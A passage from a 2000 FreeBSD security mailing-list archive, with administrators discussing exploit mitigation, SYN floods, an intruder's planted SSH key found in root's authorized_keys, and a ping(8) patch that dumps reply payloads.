(PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id SAA05966; Tue, 18 Jan 2000 18:59:35 -0500 (EST) (envelope-from robert@cyrus.watson.org) Date: Tue, 18 Jan 2000 18:59:35 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: Cy Schubert - ITSD Open Systems Group Cc: Omachonu Ogali , Adam , Will Andrews , freebsd-security@FreeBSD.ORG Subject: Re: Parent Logging Patch for sh(1) In-Reply-To: <200001181605.IAA48520@cwsys.cwsent.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 18 Jan 2000, Cy Schubert - ITSD Open Systems Group wrote: > Though I haven't had a chance to think about alternative solutions, > I think we need to step back and look at the bigger picture. > > If I may offer a half-baked idea: Why not a kernel module that > implements the access list at execve(2) for any shell or binary. > The reason for a kernel module is that not everyone would want the > latency that this would cause nor the extra kernel memory. It could > also be a kernel option for static link into the kernel. Unfortunately, given the nature of the exploit and the architecture, this is more of a "security by obscurity" kind of measure than actually preventing the writing of effective attacks--it's a little like preventing the execution of /bin/sh, as you point out you just switch to /bin/sh. The reason for this is that the premise of a buffer overflow attack is that the attacker is allowed to introduce new executable code into the system--the easiest way to exploit that capability is to take advantage of a large existing library of tty-based file management routines, AKA the shell. However, the attacker can still introduce other code directly--for example, rather than invoking exec on /bin/sh, they could just invoke unlink on the password files in /etc, or stomp some new data in to set a password in a standard configuration. That said, you'd disable a bunch of current-generation exploit scripts for a while, which might have some advantages, but still leaves you vulnerable to the next generation. :-) Deterrence, despite theoretical limitations, has often proven useful in the past... > Another idea might be that Robert Watson's logging and ACL's could > be extended to implement this. Robert, care to comment? Using auditing to detect unfortunate events is a good idea, but auditing is still a ways from ready. I need to check out a recent version of Nate's code and see how it's going in SRI-land :-). > 1a. Related to #1 above, all a cracker needs to do is transfer his own > shell to the victim system thereby circumventing all of #1. In this > case a non-executable stack and jail(2) are your friends. > > A non-executable stack for FreeBSD was discussed here in the past. > I'm not sure whether anyone is implementing this or not under > FreeBSD. As you suggest, the real solutions are: 1) Prevent bugs from occuring in the first place, by using well thought out libraries that discourage sloppy coding practices (i.e., DO NOT USE the C-style nul-terminated string routines, rather use some bounded-buffer dynamically allocated string management library) 2) Limit the effects of remote execution compromise through fine-grained process access control--if popd needs to read a user's mail file and access a socket, make it so that that is *all* it can do. This is hard in our current environment, but a combination of jail() and fine-grained capabilities and resource access control (in the wings, to be commited post-4.0), this is a lot easier. > 2. The patch relies on a /proc filesystem. The proc filesystem has had > security issues in the past, a reason why some don't use it. At the > very least the patch should be #ifdef'd or should check for the > existence of proc being mounted before proceeding. There are some general purpose security solutions that generalize jail, such as integrity- or privacy-based mandatory access control. Jail is really a subset of the two of these: jail protects integrity by preventing processes in the jail from influencing system operation and other processes in a different jail or not in jail, and it protects privacy by limiting access to files and processes not in the jail. Using Biba intregrity protection or multi-level, multi-category privacy protection would provide a more general solution to this problem, but is harder to implement :-). Work is also in the wings, albeit in a longer time scale, to introduce mandatory access control into FreeBSD. This may not end up being committed, but at the very least we'll try our best to make it easy to plug in. Introducing ACLs in /proc might be a good way to add some initial (and cheap) protection. I.e., set a default ACL on /proc, and have children inherit the ACL. Due to the way POSIX.1e ACLs work as a superset of the file/directory "ownership" scheme, you could specify policies such as "owner and group can read", "only owner can read" for both directories and files. I've been considering this for a while, but am currently working to de-bde the next round of ACL commits :-). Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 18 18:58:26 2000 Delivered-To: freebsd-security@freebsd.org Received: from mx2.x-treme.gr (mx2.x-treme.gr [212.120.192.15]) by hub.freebsd.org (Postfix) with ESMTP id AB08F14BC9 for ; Tue, 18 Jan 2000 18:58:21 -0800 (PST) (envelope-from keramida@diogenis.ceid.upatras.gr) Received: from hades.hell.gr (pat44.x-treme.gr [212.120.197.236]) by mx2.x-treme.gr (8.9.3/8.9.3/IPNG-ADV-ANTISPAM-0.1) with ESMTP id DAA22467; Wed, 19 Jan 2000 03:59:00 +0200 Received: (from charon@localhost) by hades.hell.gr (8.9.3/8.9.3) id DAA57792; Wed, 19 Jan 2000 03:07:19 +0200 (EET) (envelope-from keramida@diogenis.ceid.upatras.gr) Date: Wed, 19 Jan 2000 03:07:19 +0200 From: Giorgos Keramidas To: matt Cc: freebsd-security@FreeBSD.ORG Subject: Re: TCP/IP Message-ID: <20000119030719.A57767@hades.hell.gr> Reply-To: keramida@ceid.upatras.gr References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: X-PGP-Fingerprint: 62 45 D1 C9 26 F9 95 06 D6 21 2A C8 8C 16 C0 8E Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, Jan 18, 2000 at 12:53:12PM -0500, matt wrote: | | I would love to talk my uplink (uunet.ca) into filtering certain things | before they pass it on to my router, wish they would =/ Besides that, I | filter syn,fin, icmp, all udp except ntp/dns, besides that, I don't think | there is much that I can do. Amen for uplink filtering. I've been getting on a dialup link with a 28.8 modem packets like: tun0 @0:2 b 212.120.196.238 -> 224.0.0.13 PR pim len 20 (30) tun0 @0:2 b 212.120.196.238 -> 224.0.0.1 PR igmp len 20 (28) and i know for sure that no multicast channels have been joined by my machine ;) My ipfilter has done an excellent job dropping all these, but I still think it's wasted bandwidth. They seem to come every 30 secs or so! Ahem... -- Giorgos Keramidas, < keramida @ ceid . upatras . gr > "Don't let your schooling interfere with your education." [??] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 18 22:18:30 2000 Delivered-To: freebsd-security@freebsd.org Received: from ind.alcatel.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id 226FB15016 for ; Tue, 18 Jan 2000 22:18:29 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com (mailhub [198.206.181.70]) by ind.alcatel.com (8.9.3+Sun/8.9.1 (ind.alcatel.com 3.0 [OUT])) with SMTP id WAA27267; Tue, 18 Jan 2000 22:17:44 -0800 (PST) X-Origination-Site: Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id WAA17472; Tue, 18 Jan 2000 22:17:43 -0800 Received: from softweyr.com ([204.68.178.39]) by omni.xylan.com (8.9.3+Sun/8.9.1 (Xylan engr [SPOOL])) with ESMTP id WAA24702; Tue, 18 Jan 2000 22:16:19 -0800 (PST) Message-ID: <388557FB.443E66B0@softweyr.com> Date: Tue, 18 Jan 2000 23:21:47 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: patl@phoenix.volant.org Cc: David Wolfskill , matt@ARPA.MAIL.NET, freebsd-security@freebsd.org Subject: Re: TCP/IP References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org patl@phoenix.volant.org wrote: > > On 18-Jan-00 at 11:21, David Wolfskill (dhw@whistle.com) wrote: > > >Date: Tue, 18 Jan 2000 12:53:12 -0500 > > >From: matt > > > > >I would love to talk my uplink (uunet.ca) into filtering certain things > > >before they pass it on to my router, wish they would =/ Besides that, I > > >filter syn,fin, icmp, all udp except ntp/dns, besides that, I don't think > > >there is much that I can do. > > > > Put another router in series with it. Use an RFC 1918 "private net" > > numbering scheme for that (pathological) network, which then becomes an > > effective "demarc" between uunet.ca's responsibility/ability and yours. > > > > This generalizes, within reason. (Yes, it adds latency, too....) > > Umm, I think Matt's point was that he would like to filter these > things out -before- they consume bandwidth between his uplink and > his router. (I know I would...) Get a better ISP. They should provide such services, and the good ones will. They may charge to set it up, but they aren't going to want SYN floods on their networks. If the flood is coming from within your ISP, talk to the ISP and get the plug pulled on the flood source. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 18 22:30:37 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 06F47150F3 for ; Tue, 18 Jan 2000 22:30:36 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id WAA33466; Tue, 18 Jan 2000 22:30:30 -0800 (PST) (envelope-from dillon) Date: Tue, 18 Jan 2000 22:30:30 -0800 (PST) From: Matthew Dillon Message-Id: <200001190630.WAA33466@apollo.backplane.com> To: Wes Peters Cc: patl@phoenix.volant.org, David Wolfskill , matt@ARPA.MAIL.NET, freebsd-security@FreeBSD.ORG Subject: Re: TCP/IP References: <388557FB.443E66B0@softweyr.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :> > Put another router in series with it. Use an RFC 1918 "private net" :> > numbering scheme for that (pathological) network, which then becomes an :> > effective "demarc" between uunet.ca's responsibility/ability and yours. :> > :> > This generalizes, within reason. (Yes, it adds latency, too....) :> :> Umm, I think Matt's point was that he would like to filter these :> things out -before- they consume bandwidth between his uplink and :> his router. (I know I would...) : :Get a better ISP. They should provide such services, and the good ones will. :They may charge to set it up, but they aren't going to want SYN floods on :their networks. If the flood is coming from within your ISP, talk to the ISP :and get the plug pulled on the flood source. : :-- : "Where am I, and what am I doing in this handbasket?" : :Wes Peters Softweyr LLC Blocking SYN floods with spoofed source IP addresses is virtually impossible. Not only can one not tell the difference between a spoofed packet and a real SYN, it is also virtually impossible to determine whether the actual source of the packets is if the source is not coming from another customer in the same ISP. A BEST customer was once attacked with a SYN flood all night long. It took us less then a minute to determine that the flood was coming in over our MCI transit. MCI had all night to locate the source (the attack lasted for several hours) and never could. They couldn't pick the attack out from the many gigabits they were shoving around with the debugging tools they had. There wasn't anything we could do about it. The only way to deal with SYN floods is to force leaf nodes (e.g. ISPs, colleges) to source-ip-filter their outgoing links to prevent people from spoofing packets within their networks using source IP's that are outside their networks, or to force large backbones to filter the leaf nodes themselves to allow only properly sourced packets through. Good luck! All the major backbones have known about the problem for years and haven't done a damn thing about it. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 18 22:49:30 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 1B4CE14E36 for ; Tue, 18 Jan 2000 22:49:24 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id XAA17373; Tue, 18 Jan 2000 23:49:01 -0700 (MST) Message-Id: <4.2.2.20000118234610.01dd9b60@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Tue, 18 Jan 2000 23:49:02 -0700 To: Matthew Dillon , Wes Peters From: Brett Glass Subject: Re: TCP/IP Cc: patl@phoenix.volant.org, David Wolfskill , matt@ARPA.MAIL.NET, freebsd-security@FreeBSD.ORG In-Reply-To: <200001190630.WAA33466@apollo.backplane.com> References: <388557FB.443E66B0@softweyr.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 11:30 PM 1/18/2000 , Matthew Dillon wrote: > Blocking SYN floods with spoofed source IP addresses is virtually > impossible. Not only can one not tell the difference between a spoofed > packet and a real SYN, it is also virtually impossible to determine > whether the actual source of the packets is if the source is not coming > from another customer in the same ISP. True. But one can minimize the damage. The best way to do this seems to be via a pseudorandom sequence number on the SYN-ACK, which eliminates the need for the server to retain any state after the SYN. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 18 22:57: 2 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id D019B14FB3 for ; Tue, 18 Jan 2000 22:56:59 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id WAA33816; Tue, 18 Jan 2000 22:56:56 -0800 (PST) (envelope-from dillon) Date: Tue, 18 Jan 2000 22:56:56 -0800 (PST) From: Matthew Dillon Message-Id: <200001190656.WAA33816@apollo.backplane.com> To: Brett Glass Cc: Wes Peters , patl@phoenix.volant.org, David Wolfskill , matt@ARPA.MAIL.NET, freebsd-security@FreeBSD.ORG Subject: Re: TCP/IP References: <388557FB.443E66B0@softweyr.com> <4.2.2.20000118234610.01dd9b60@localhost> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :True. But one can minimize the damage. The best way to do this seems to be :via a pseudorandom sequence number on the SYN-ACK, which eliminates the need :for the server to retain any state after the SYN. : :--Brett Assuming you have bandwidth left to play with. Unfortunately the problem tends to be that such attacks saturate your internet link, making it unusable. Generally speaking SYN attacks are related to IRC weenies. The best way to avoid them is usually to (a) not run an irc server and (b) not allow your users to run irc bots. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 19 4:43:30 2000 Delivered-To: freebsd-security@freebsd.org Received: from supra.rotterdam.luna.net (supra.rotterdam.luna.net [194.151.24.24]) by hub.freebsd.org (Postfix) with ESMTP id 42E2E1513A for ; Wed, 19 Jan 2000 04:43:27 -0800 (PST) (envelope-from stephanb@luna.nl) Received: (from stephanb@localhost) by supra.rotterdam.luna.net (•8.8.8/tcpwrp+ismx/8.8.8/chk+tcpwrpr) id NAA05530 for freebsd-security@FreeBSD.ORG; Wed, 19 Jan 2000 13:43:25 +0100 (CET) Date: Wed, 19 Jan 2000 13:43:25 +0100 From: Stephan van Beerschoten To: freebsd-security@FreeBSD.ORG Subject: ssh-feature 'backdoor' Message-ID: <20000119134325.J2167@supra.rotterdam.luna.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i Organization: Luna Internet Services http://www.luna.nl Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I have discovered the obvious .. I was helping a friend of me who admin's a couple of machines to find left-overs from hacks.. (The machine is used for these kind of playfull thingies) and we discovered something which other admins might not see because they don't think of it as a valid entry-point. sshd accepts connections with the rsa-key system (I love the system, I hop from one system to the next using this system and the ssh-agent running), but a hacker has created an ~root/.ssh/authorized_keys file with his own key in it. The comment on the key was root@ so for the 'default' admin the key would not look like something which should not be there .. but it was the hacker's way to simply ssh to the bos, enter his rsa passphrase (or let the ssh-agent take care of it) and he was in, having all the time to erase his presence from logs etc. Just a hint.. watch the ~root/.ssh dir. -Steve -- Stephan van Beerschoten Email: stephanb@luna.nl Network Engineer Luna Internet Services PGP fingerprint 4557 9761 B212 FB4C 778D 3529 C42A 2D27 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 19 5:52:16 2000 Delivered-To: freebsd-security@freebsd.org Received: from mercury.is.co.za (mercury.is.co.za [196.4.160.222]) by hub.freebsd.org (Postfix) with ESMTP id 2089414DA5 for ; Wed, 19 Jan 2000 05:52:09 -0800 (PST) (envelope-from marcs@is.co.za) Received: from hermwas.is.co.za (hermwas.is.co.za [196.23.0.8]) by mercury.is.co.za (8.9.3/8.9.3) with ESMTP id PAA08893; Wed, 19 Jan 2000 15:52:05 +0200 Received: (from marcs@localhost) by hermwas.is.co.za (8.9.3/8.9.3) id PAA11192; Wed, 19 Jan 2000 15:52:04 +0200 (SAT) Date: Wed, 19 Jan 2000 15:52:03 +0200 From: Marc Silver To: Stephan van Beerschoten Cc: freebsd-security@FreeBSD.ORG Subject: Re: ssh-feature 'backdoor' Message-ID: <20000119155203.C8404@is.co.za> References: <20000119134325.J2167@supra.rotterdam.luna.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: <20000119134325.J2167@supra.rotterdam.luna.net> X-Operating-System: SunOS 5.6 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org That should never happen if this line is in your sshd_config file: PermitRootLogin no I think it's better to log in as your user and then su to root. Cheers, Marc On Wed, Jan 19, 2000 at 01:43:25PM +0100, Stephan van Beerschoten wrote: > I have discovered the obvious .. > > I was helping a friend of me who admin's a couple of > machines to find left-overs from hacks.. (The machine is > used for these kind of playfull thingies) and we discovered > something which other admins might not see because they > don't think of it as a valid entry-point. > > sshd accepts connections with the rsa-key system (I love the > system, I hop from one system to the next using this system > and the ssh-agent running), but a hacker has created an > ~root/.ssh/authorized_keys file with his own key in it. > > The comment on the key was root@ so > for the 'default' admin the key would not look like something > which should not be there .. but it was the hacker's way to > simply ssh to the bos, enter his rsa passphrase (or let the > ssh-agent take care of it) and he was in, having all the time > to erase his presence from logs etc. > > Just a hint.. watch the ~root/.ssh dir. > > -Steve > > -- > Stephan van Beerschoten Email: stephanb@luna.nl > Network Engineer Luna Internet Services > PGP fingerprint 4557 9761 B212 FB4C 778D 3529 C42A 2D27 > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message -- Marc Silver IS Hosting Infrastructure The Internet Solution Tel: (+27 11) 283 5500 Fax: (+27 11) 283 5001 E-mail: marcs@is.co.za Web: www.is.co.za To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 19 5:56:18 2000 Delivered-To: freebsd-security@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id B4B6314F82; Wed, 19 Jan 2000 05:56:12 -0800 (PST) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.3) id OAA21279; Wed, 19 Jan 2000 14:56:11 +0100 (CET) (envelope-from des@flood.ping.uio.no) To: hackers@freebsd.org, security@freebsd.org Subject: New option to ping(8): dump packet contents From: Dag-Erling Smorgrav Date: 19 Jan 2000 14:56:10 +0100 Message-ID: Lines: 12 User-Agent: Gnus/5.0802 (Gnus v5.8.2) Emacs/20.4 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org --=-=-= The attached patch adds a -D option to ping(8) which makes it dump the payload of the reply packet instead of comparing it to the payload of the original request packet. This is useful in cases where the target host purposeldy modifies the payload before replying, e.g. if you hack your stack to report the load average in echo reply packets. DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no --=-=-= Content-Disposition: attachment; filename=ping-dump.diff Content-Description: patch Index: ping.c =================================================================== RCS file: /home/ncvs/src/sbin/ping/ping.c,v retrieving revision 1.49 diff -u -r1.49 ping.c --- ping.c 2000/01/14 23:40:38 1.49 +++ ping.c 2000/01/19 13:48:53 @@ -133,6 +133,7 @@ #define F_POLICY 0x4000 #endif /*IPSEC_POLICY_IPSEC*/ #endif /*IPSEC*/ +#define F_DUMP 0x8000 /* * MAX_DUP_CHK is the number of bits in received table, i.e. the maximum @@ -234,10 +235,10 @@ datap = &outpack[8 + PHDR_LEN]; #ifndef IPSEC - while ((ch = getopt(argc, argv, "I:LQRT:c:adfi:l:np:qrs:t:v")) != -1) + while ((ch = getopt(argc, argv, "I:LQRT:c:adDfi:l:np:qrs:t:v")) != -1) #else #ifdef IPSEC_POLICY_IPSEC - while ((ch = getopt(argc, argv, "I:LQRT:c:adfi:l:np:qrs:t:vP:")) != -1) + while ((ch = getopt(argc, argv, "I:LQRT:c:adDfi:l:np:qrs:t:vP:")) != -1) #endif /*IPSEC_POLICY_IPSEC*/ #endif { @@ -256,6 +257,9 @@ case 'd': options |= F_SO_DEBUG; break; + case 'D': + options |= F_DUMP; + break; case 'f': if (uid) { errno = EPERM; @@ -837,7 +841,13 @@ cp = (u_char*)&icp->icmp_data[PHDR_LEN]; dp = &outpack[8 + PHDR_LEN]; for (i = PHDR_LEN; i < datalen; ++i, ++cp, ++dp) { - if (*cp != *dp) { + if (options & F_DUMP) { + if ((i - PHDR_LEN) % 16 == 8) + putchar(' '); + if ((i - PHDR_LEN) % 16 == 0) + putchar('\n'); + printf(" %02x", *dp); + } else if (*cp != *dp) { (void)printf("\nwrong data byte #%d should be 0x%x but was 0x%x", i, *dp, *cp); printf("\ncp:"); --=-=-=-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 19 6:44:13 2000 Delivered-To: freebsd-security@freebsd.org Received: from supra.rotterdam.luna.net (supra.rotterdam.luna.net [194.151.24.24]) by hub.freebsd.org (Postfix) with ESMTP id 4030F15206 for ; Wed, 19 Jan 2000 06:44:05 -0800 (PST) (envelope-from stephanb@luna.nl) Received: (from stephanb@localhost) by supra.rotterdam.luna.net (•8.8.8/tcpwrp+ismx/8.8.8/chk+tcpwrpr) id PAA06429; Wed, 19 Jan 2000 15:43:49 +0100 (CET) Date: Wed, 19 Jan 2000 15:43:48 +0100 From: Stephan van Beerschoten To: Marc Silver Cc: Stephan van Beerschoten , freebsd-security@FreeBSD.ORG Subject: Re: ssh-feature 'backdoor' Message-ID: <20000119154348.A6412@supra.rotterdam.luna.net> References: <20000119134325.J2167@supra.rotterdam.luna.net> <20000119155203.C8404@is.co.za> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <20000119155203.C8404@is.co.za>; from Marc Silver on Wed, Jan 19, 2000 at 03:52:03PM +0200 Organization: Luna Internet Services http://www.luna.nl Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, Jan 19, 2000 at 03:52:03PM +0200, Marc Silver wrote: > That should never happen if this line is in your sshd_config file: > > PermitRootLogin no Well, sure this line was there, but one of the kids who hacked it must have altered this default behaviour and placed the auth-file. It was just to bring the auth-file thing to everyone's attention, because its not just the root account which can be abused like this.. if a possible hacker placed an authorised_keys file (with his key) in any user's homedir, this account is permanently open for the hacker to logon to. Just a note. -Steve -- Stephan van Beerschoten Email: stephanb@luna.nl Network Engineer Luna Internet Services PGP fingerprint 4557 9761 B212 FB4C 778D 3529 C42A 2D27 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 19 6:54: 0 2000 Delivered-To: freebsd-security@freebsd.org Received: from mercury.is.co.za (mercury.is.co.za [196.4.160.222]) by hub.freebsd.org (Postfix) with ESMTP id 6F71A15159 for ; Wed, 19 Jan 2000 06:53:54 -0800 (PST) (envelope-from marcs@is.co.za) Received: from hermwas.is.co.za (hermwas.is.co.za [196.23.0.8]) by mercury.is.co.za (8.9.3/8.9.3) with ESMTP id QAA23787; Wed, 19 Jan 2000 16:53:50 +0200 Received: (from marcs@localhost) by hermwas.is.co.za (8.9.3/8.9.3) id QAA12314; Wed, 19 Jan 2000 16:53:50 +0200 (SAT) Date: Wed, 19 Jan 2000 16:53:50 +0200 From: Marc Silver To: Stephan van Beerschoten Cc: freebsd-security@FreeBSD.ORG Subject: Re: ssh-feature 'backdoor' Message-ID: <20000119165350.E8404@is.co.za> References: <20000119134325.J2167@supra.rotterdam.luna.net> <20000119155203.C8404@is.co.za> <20000119154348.A6412@supra.rotterdam.luna.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: <20000119154348.A6412@supra.rotterdam.luna.net> X-Operating-System: SunOS 5.6 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Ah ok -- I see what you mean. I suppose another way you could kind of prevent this is to use tcp_wrappers thereby being sure that only the hosts you want can get into the box. This doesn't help you if the box is already hacked, but it can help if it isn't. My two more cents... I'll keep quiet now and no offense meant by my earlier posts if you were offended btw. ;) Cheers, Marc On Wed, Jan 19, 2000 at 03:43:48PM +0100, Stephan van Beerschoten wrote: > On Wed, Jan 19, 2000 at 03:52:03PM +0200, Marc Silver wrote: > > That should never happen if this line is in your sshd_config file: > > > > PermitRootLogin no > > Well, sure this line was there, but one of the kids who hacked it > must have altered this default behaviour and placed the auth-file. > > It was just to bring the auth-file thing to everyone's attention, > because its not just the root account which can be abused like this.. > if a possible hacker placed an authorised_keys file (with his key) in > any user's homedir, this account is permanently open for the hacker to > logon to. > > Just a note. > -Steve > > -- > Stephan van Beerschoten Email: stephanb@luna.nl > Network Engineer Luna Internet Services > PGP fingerprint 4557 9761 B212 FB4C 778D 3529 C42A 2D27 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 19 6:57:52 2000 Delivered-To: freebsd-security@freebsd.org Received: from revelex.com (revelex.com [207.61.176.194]) by hub.freebsd.org (Postfix) with ESMTP id A759E15294 for ; Wed, 19 Jan 2000 06:57:49 -0800 (PST) (envelope-from jonf@revelex.com) Received: from server (nt.revelex.com [10.0.0.9]) by revelex.com (8.9.3/8.9.3) with SMTP id JAA22779 for ; Wed, 19 Jan 2000 09:53:36 -0500 (EST) Message-ID: <001001bf6296$359d7030$0900000a@server> From: "Jonathan Fortin" To: Subject: ssh. Date: Wed, 19 Jan 2000 09:59:47 -0600 Organization: Revelex Corp. MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000D_01BF6263.EAF851D0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This is a multi-part message in MIME format. ------=_NextPart_000_000D_01BF6263.EAF851D0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi , PermitRootLogin on or even tcp_wrapper wont help if a user backdoors = /bin/login or sshd.=20 Try to keep track of the files checksum by making a crontab so it can = email you once a day. Just advise.. respecfully, -jon ------=_NextPart_000_000D_01BF6263.EAF851D0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
 
Hi ,
 
 
PermitRootLogin on or even tcp_wrapper wont help if = a user=20 backdoors /bin/login or sshd.
Try to keep track of the files checksum by making a = crontab so=20 it can email you once a day.
Just advise..
 
respecfully,
 
-jon
------=_NextPart_000_000D_01BF6263.EAF851D0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 19 7:18: 9 2000 Delivered-To: freebsd-security@freebsd.org Received: from nsm.htp.org (nsm.htp.org [202.241.243.104]) by hub.freebsd.org (Postfix) with SMTP id 2276214A13 for ; Wed, 19 Jan 2000 07:18:05 -0800 (PST) (envelope-from sen_ml@eccosys.com) Received: (qmail 25339 invoked from network); 19 Jan 2000 15:16:52 -0000 Received: from localhost (127.0.0.1) by localhost with SMTP; 19 Jan 2000 15:16:52 -0000 To: freebsd-security@FreeBSD.ORG Subject: Re: ssh-feature 'backdoor' From: sen_ml@eccosys.com In-Reply-To: <20000119165350.E8404@is.co.za> References: <20000119155203.C8404@is.co.za> <20000119154348.A6412@supra.rotterdam.luna.net> <20000119165350.E8404@is.co.za> X-Mailer: Mew version 1.94.1 on Emacs 20.5 / Mule 4.0 (HANANOEN) X-No-Archive: Yes Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20000120001840W.1000@eccosys.com> Date: Thu, 20 Jan 2000 00:18:40 +0900 X-Dispatcher: imput version 990905(IM130) Lines: 6 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org marcs> Ah ok -- I see what you mean. I suppose another way you could kind of marcs> prevent this is to use tcp_wrappers thereby being sure that only the marcs> hosts you want can get into the box. 'being sure' is a bit strong don't you think? if someone has spoofed the ip address it doesn't help you at all. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 19 7:20:58 2000 Delivered-To: freebsd-security@freebsd.org Received: from nsm.htp.org (nsm.htp.org [202.241.243.104]) by hub.freebsd.org (Postfix) with SMTP id EDEED14BFD for ; Wed, 19 Jan 2000 07:20:55 -0800 (PST) (envelope-from sen_ml@eccosys.com) Received: (qmail 25424 invoked from network); 19 Jan 2000 15:19:45 -0000 Received: from localhost (127.0.0.1) by localhost with SMTP; 19 Jan 2000 15:19:45 -0000 To: freebsd-security@FreeBSD.ORG Subject: Re: ssh-feature 'backdoor' From: sen_ml@eccosys.com 